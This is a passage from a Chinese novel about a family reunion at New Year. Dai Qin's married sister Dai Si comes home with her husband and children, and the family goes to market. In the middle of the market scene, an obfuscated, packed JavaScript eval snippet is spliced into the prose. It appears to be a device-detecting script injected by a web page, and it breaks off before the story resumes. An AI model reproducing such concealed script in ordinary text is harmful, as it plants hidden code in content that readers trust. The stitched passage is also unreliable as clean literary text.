她笑呵呵地说着,伸手去勾戴琴的手指,甩着她的手道:“拉勾上吊一百年不许变,谁变谁是小狗。” 戴琴看着她们相牵的手,一颗飘忽不定的心好似落了地。 她们在校门口分别,于岁末的隆冬大雪里,各自回到家中。戴琴的哥哥正处于大四的重要关头,在学校承担着助教的工作,来信说工作繁忙,今年又不能回家过年,不过他仍旧给戴琴邮了一套《乱世佳人》回来,希望她做一个坚强的女孩。 与此同时,他还告诉了戴林和陆荛一个好消息——他交往了一个女友。 女友是和他同一所高中毕业的同学,毕业之后一起考上大学,两人争取大学毕业之后留在呼和浩特当老师。实在不行,才考虑回九曲河。 戴林和陆荛收到这个消息,既高兴,又不舍。高兴的是儿子终于长大成人,不舍的是儿子要定居在那么远的地方。 陆荛看到信后偷偷摸了眼泪:“呼和浩特那么远,他读书一年到头都不见得会来几次,等成家了又能见几回啊。” 哭完又拉着戴琴的手,对她殷切地叮嘱:“妈妈就剩你一个孩子在身边了,你以后不要嫁到那么远的地方去,嫁个市里的好人家,找份清闲的工作就好。” 她那时候还太年轻,不太能分清爱与爱之间有什么不同。却因为足够的敏锐,在母亲的话语里感受到了一种微妙的刺痛。 戴琴没有说话,倒是戴林文绉绉地说了一句:“你这是妇人之仁,男儿当志存高远,展翅翱翔。” 于是他大手一挥,给戴弦回了信:“你尽管大踏步地往前迈,我与你母亲还能照顾好自己,不必担忧。好好工作,作出一份成绩,做一个对党,对社会,对祖国有用的人。” 兴许好事情都是一串一串来的,在回了戴弦的信之后,村里唯一有电话的村长跑来告知戴琴一家,戴丝今年要带着丈夫回家过年了。 一时间,全家振奋,原本清冷的家中热闹起来,陆荛也像恢复生机一般开始操持家务,将床单被褥都抱出来晒。 这天一大中午,戴琴就跟着父母到村口去接人。站在身旁的母亲穿着棉袄,裹着头巾,将手拢进袖子里,不停地朝车来的方向张望,嘴里不停地嘟囔“怎么还没来。”一旁的父亲嘴上说着急什么,说来的肯定来的,但还是止不住地跺脚,跟着母亲伸长脖子往外看。 两人的焦躁感染了戴琴,隔了一个秋冬未见姐姐,她也有些期待。一家人等了好些时间,等道路两侧的积雪落满金光时,一辆破破烂烂的公交车,载着满满当当的一车人从远方摇摇晃晃地驶来。 “来了来了。” “是这辆吗?” 很快车子在他们村口停下,吐豆子似地挤出了一串人。其中一个背着箩筐的壮硕蒙古汉子,一手抓着黄色的尿素袋,一手抓着身旁的女人,挤到了戴林陆荛面前,露出了一口大白牙:“爸,妈!” 他喊得响亮,但戴林陆荛还有戴琴都没看他,只是把视线落在他牵着的戴丝身上 戴丝没带多余的东西,身上背的,怀里抱的,手里牵的,全都是娃娃。她那张少女时期,胜于戴琴的娇嫩,此刻黝黑泛红,布满了星星点点的斑雀,肉眼可见的饱经风霜。 见到亲人的一瞬间,她便红了眼:“妈……爸……” “唉……”戴林和陆荛伸出了手,紧紧握住了她,“回家,我们回家。” 一家八口人,手牵着手,往家中走去。 戴丝的丈夫比勒格是她高中毕业后,在羊毛厂工作认识的。比勒格家中仍旧以牧羊为生,一到季节就会举家搬迁。就算同属一旗,戴丝也很难抽空回家走走。尤其是生了孩子之后,精力全放在小家庭里,就更难回来看看了。 距离她上次回来,还是两年前,这次她能回家,家中父母都很高兴。晚上做饭的时候,陆荛取出为过年准备的白面,戴林将比格勒扛过来的三扇羊炖了半扇,做了一顿很丰盛的晚餐。 吃完饭后,男人们在屋子里喝酒。女人们则在厨房另外烧了一炉火,给孩子们洗澡。一边洗澡,一边聊孩子们的事情。 戴丝一共有三个孩子,最大的今年已经六岁了,最小的才不到一岁。如今摆在她人生里的第一等大事,就是大孩子念书的事。 陆荛问戴丝有什么打算,戴丝说自己和比勒格商量,准备在临近的镇上买个房子,安定下来供孩子读书。至于牧羊的事,就再请个人帮忙,让他和比勒格一起放羊。 陆荛很惊讶:“比勒格能答应吗?” 要知道,无论在什么地方,男人看管女人,就像人类看管家畜一样。 戴丝将水泼在小孩的肚子上,仔细地给她搓了搓身体,垂眸淡淡道:“他听我的话,会答应的。” 陆荛看了女儿一眼,凑到她身旁神秘莫测道:“你不怕他做混账事啊?” 坐在一旁的戴琴似懂非懂,戴丝手上动作不停,神情仍旧是淡淡的:“他要是混蛋,我就不要他了。” 她说“不要”的时候,眼底泄露了一丝笑,恰好被戴琴捕捉到了。在那一刻,戴琴突然想到了安娜卡列尼娜。原来在那些琐碎的麻木的婚姻之外,在平静的毫无波澜的生活之外,人的灵魂会以游离于“固定程序”的方式绽放出光彩。 那天晚上,戴琴和带着三个孩子的戴丝,一个靠在炕头,一个靠在炕尾,躺在了同一张炕上。 室内的灯泡瓦数很低,暗沉沉地亮着,照得四周一片昏黄。屋子里静悄悄的,客厅男人们的喝酒猜马声三不五时地传进来。在这种吵闹声中,依稀能听到碎雪敲击玻璃窗的声音。戴琴靠在床头,点着父亲的马灯,接着灯光捧着手里的书津津有味地读着。 戴丝则靠在床尾,一手揽着二女儿,一手抱着小女儿轻声哄着。她一边哄,一边用眼角的余光打量着床头的戴琴。最大的大女儿则趴在她怀里,在母亲的哄睡中,与风雪同眠。 孩子们睡了好一会,戴丝才抱着小女儿抬眸,看向戴琴:“高中学习怎么样?是不是很难?” 她的声音很低,戴琴起先没反应过来,慌忙合了书抬头看去,对上了一双清澈幽深的眼,才局促地应了两个字:“还好。” “嗯……”她们年岁相差很大,戴琴小的时候可以说是戴丝带大的。只是戴丝出嫁之后,两人的关系也被距离冲淡了不少。 但毕竟是血浓于水,戴丝对自己的妹妹还是很牵挂的。她弯着眉眼笑了笑,又问:“期末考试考得怎么样?” 戴琴老老实实地说了自己分数和排名,戴丝露出了惊讶的表情,又赞叹道:“我和你哥哥从来没考过那么高的分数,还是你最会读书。” 两人聊了一会学校里的事情,戴丝打了个哈欠抱着孩子们躺回了被窝里。戴琴想了想,也熄灭了马灯,躺回了床上。室内暗了下来,清冷冷的月光透过呼啸的风声,从纸糊的玻璃窗映入室内。 戴琴平躺着身体,让自己的腿伸到挤满人的床尾床边,尽量伸直压住被角,不让寒风吹到小孩子。她躺在拥挤的床上,在雪落声中,听着客厅外不停的猜马声,心里有些烦躁。 她想着童年时漂亮白嫩的姐姐,想到那个和姐姐同村同龄的高大青年,想到有一年那达慕大会上,姐姐牵着自己站在马场边缘,仰头看青年策马奔腾而过,弯腰矫健拾起哈达时的眼神,又想到那一年父亲摔断的左腿,想哥哥的学费,想到所有一切与姐姐有关的事,越想越心烦。 最后她气鼓鼓地掀被起身,小心翼翼地走下床,将房门推开一道缝隙,对着热闹的客厅喊了一句:“爸……” 猜马声停住了,戴琴望着酒桌上面红耳赤的两个男人,眼神平静:“你身体不好,别喝太多了。”说完之后,她也不管两个男人,咿呀一声关上门,走回床上倒头睡了。 第二天一大早,她是在一阵小孩的哭声醒来的。她模模糊糊地睁开眼,恰好看到姐姐抱着小女儿,掀起衣服在喂奶。二女儿揪着她的手臂,吵嚷着要她穿衣服,一旁的大女儿则顶着一头乱发,费力地穿着自己棉裤。 真是一阵鸡飞狗跳。 戴琴深吸一口气,伸手将最大的孩子拽过来,和她沟通道:“过来,我帮你穿。” 她先是帮大侄女穿好衣服,又把二侄女抱过来套好衣服,这才提溜着她们两个出去,带着她们去洗漱。这时陆荛已经起来准备早饭了,见戴琴带着两个孩子还有些诧异:“你姐起来了吗?” 戴琴一边给孩子擦脸一边回:“起来了,给小的喂奶呢。” 热热闹闹地过了一早上,结果到了吃早饭的时间,醉酒的戴林和比勒格都没起来。陆荛在饭桌上还叹了一句:“他两喝多了,睡小恩那屋了。” “早知道他俩睡一起,就让你和我睡一屋,别去诺儿那屋了。” 戴丝笑笑:“没事,和诺儿挤挤也挺好的。” 男人们没醒,女人们仍旧要按照自己的章程办事。按照原本的规划,今天应该是戴林驾车带着陆荛赶集购置年货。但戴林喝多了,家里的男人靠不住,家中唯一会驾车的女儿就站了出来。 因此早饭过后,戴丝就将父亲的马从马棚里赶出来,套上板车,带着母亲还有戴琴以及自己的三个孩子,驾车前往集市 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆荛和戴丝拎着大包小包,塞到马车上后,仔细清点了一回。发现还差了点东西没买,陆荛安置好东西急急往回走。戴丝见状,对戴琴嘱咐道:“你且待在原地看好孩子和马车,我跟妈去。” 戴琴刚转眸朝她看去,却见她抱着怀里的孩子,推搡着人群,不一会就没入汹涌的人群里。直到再也看不见姐姐的背影,她才收回目光,落在砌满东西的马车上。 准确的说,是那一团新衣服上。 无数个念头在她脑海里争吵,纷纷乱乱的,哪怕在傍晚回家后也没吵出个所以然来。 约莫是下午三点左右,戴丝驾着马车,重新停回家门口。宿醉一夜的男人们也清醒了,此刻在院子里劈柴。 劈柴的是比勒格,听到动静将斧子猛地砍在碗口大的木柴上,两手搓搓腰间的袍子,笑嘻嘻地朝孩子们迎来:“小羊崽子们,有没有想爸爸!” 孩子们看起来和他很亲,从马车跳下来,伸手就让他抱。 他一手抱着大女儿,一手抱着小女儿,拎羊崽似的转了一圈,这才看向戴丝:“都去买了什么?” 戴丝拿着缰绳从马车上跳下来:“陪妈妈买了点年货,给孩子们买了新布做衣服,还给你买了件夹克。” 比勒格顿时喜上眉梢:“新衣服?啥样的?我看看?” 戴丝将缰绳拴在柴门的柱子上,朝戴琴看了一眼。还在车上的戴琴从一堆东西翻出比勒格的夹克,地给了戴丝。 戴丝把衣服塞给比勒格,语气很温柔:“去试试,看看合不合适。不合适,明天我们再上街去换。” “我老婆买的,一定合适。”比勒格高兴得龇牙咧嘴,将衣服从塑料袋里拿出来,左看看右看看:“真好看啊,还得是我老婆选的好。” 肉麻得不行。 戴琴听不下去,匆匆从板车上下来,只想速度回家里躲个清净。戴丝倒是司空见惯,笑吟吟地从比勒格面前走过,和他吩咐道:“别油嘴滑舌,先帮妈把东西搬回家再说吧。” 比勒格连忙收好自己衣服,嚎了一嗓子:“好咧!” 晚上的时候,比勒格换上自己的新衣服,和孩子们玩了一阵又换下来,重新穿上旧衣。 戴琴看他这么一副爱不释手的模样,又想到了戴丝。草原的风太冷又太沧桑,将她身上的明媚都吹老了。戴琴思索许久,把戴丝今天给她买的新衣拿出来,摆在她面前。 那是一件很时髦的红色牛角扣羊毛大衣,看起来毛茸茸的,很适合姐姐。 彼时戴丝刚把孩子们哄睡,望着摆在面前的衣物,有些不解:“怎么了?” 戴琴侧坐在炕边,抚摸着折好的大衣,对戴丝道:“我有衣服,衣服够穿的。倒是姐……” “我觉得这件衣服更适合你。” 她年纪小,还有些腼腆,不懂得怎么更柔和地表达自己的心意。即使是这样,年长者也从她的欲言又止里,感受到她的真诚与关怀。 戴丝莞尔,伸手搭在戴琴的手背上,轻声开口:“给你买的,就是给你买的。” “再说了,我有很多新衣服都没空穿,不差这一件。” 戴琴猝然抬眸,惊讶地望着她。戴丝笑笑,与她解释道:“我和比勒格常年在牧区放羊,基本都只穿旧衣服。” “你别看他这样,对我还是挺上心的。三不五时会去镇上的裁缝家,给我订做新衣裳。” 似乎为了让妹妹安心,戴丝难得提了几句自己和丈夫的事。戴琴这才知道,自己这个看似粗野的姐夫,私底下也挺细腻的。 有比勒格在,家里的米缸从来不缺米和面。不仅如此,一年四季变换时,他还会请蒙医来给戴丝调理身体。更不要说人参和藏红花等补品,只要对戴丝有益处的,他都会带回家。 戴琴还是第一次从姐姐嘴里,知道她这几年的生活。她对此感到欣慰,也觉得开心。因为比勒格,姐妹二人的关系重新热络了起来。